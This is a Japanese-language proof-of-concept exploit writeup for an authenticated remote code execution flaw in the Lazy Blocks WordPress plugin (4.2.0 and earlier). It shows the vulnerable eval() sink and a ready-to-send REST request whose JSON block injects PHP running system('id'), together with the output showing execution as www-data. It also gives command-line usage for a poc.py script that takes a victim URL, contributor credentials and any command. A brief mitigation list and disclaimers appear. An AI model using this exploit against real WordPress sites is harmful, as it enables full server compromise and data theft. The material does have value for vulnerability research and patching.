
CVE-2026-1560の概念実証エクスプロイト。Lazy Blocks WordPressプラグインにおける認証済みリモートコード実行の脆弱性で、低権限ユーザーがREST APIを介して任意のPHPを実行できるようにします。
研究者: ZeYrOXxx
プラグイン: Custom Block Builder – Lazy Blocks
影響を受けるバージョン: ≤ 4.2.0
深刻度: 高
CVSS: 8.8
脆弱性タイプ: 認証済みリモートコード実行(RCE)
攻撃ベクトル: REST API
必要な権限: edit_posts(Contributor以上)
Custom Block Builder – Lazy Blocks WordPress プラグインのバージョン 4.2.0 以前に、高深刻度のセキュリティ脆弱性が特定されました。 この脆弱性により、低権限の認証済みユーザー(Contributorロール)が、ブロックプレビュー機能を目的とした REST API エンドポイントを介して、サーバー上で任意の PHP コードを実行できる可能性があります。
この問題は WordPress の権限モデルを完全に破壊し、サーバー全体の侵害につながる可能性があります。
POST /wp-json/lazy-blocks/v1/block-builder-preview/
このエンドポイントは、edit_posts 権限を持つすべての認証済みユーザーがアクセスできます。
REST ルートは、脆弱な権限コールバックで登録されています:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
これには Contributor が含まれており、PHP コードの実行を許可されるべきではありません。
REST コントローラー – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
ブロックレンダラー – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
eval() 関数は、サニタイズや検証なしに攻撃者が制御する PHP コードを実行します。
Lazy Blocks は、ブロックのカスタム PHP レンダリングロジックを許可しています。 REST API プレビューエンドポイントはユーザー指定のブロック定義を受け入れ、信頼できる保存済みブロックと攻撃者が制御するプレビューブロックを区別しません。
以下のようなフラット化されたブロック属性を注入することで:
code_output_methodcode_editor_html攻撃者は php_eval() の実行シンクに到達し、任意の PHP コードを実行できます。
リクエスト:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
レスポンス:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ 任意のコマンド実行が確認されました
この PoC はセキュリティテストおよび研究目的のみで提供されています。
Contributor アクセス権を持つ攻撃者は以下を実行できます:
wp-config.php)eval() の使用を排除するmanage_options または unfiltered_html 権限を要求するrequests ライブラリedit_posts 権限を持つ有効な WordPress 認証情報(Contributor以上)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
ターゲットが脆弱な場合、コマンドの出力が HTTP レスポンスで返されます。
⚠️ この概念実証は、認可されたセキュリティテストおよび研究目的のみを意図しています。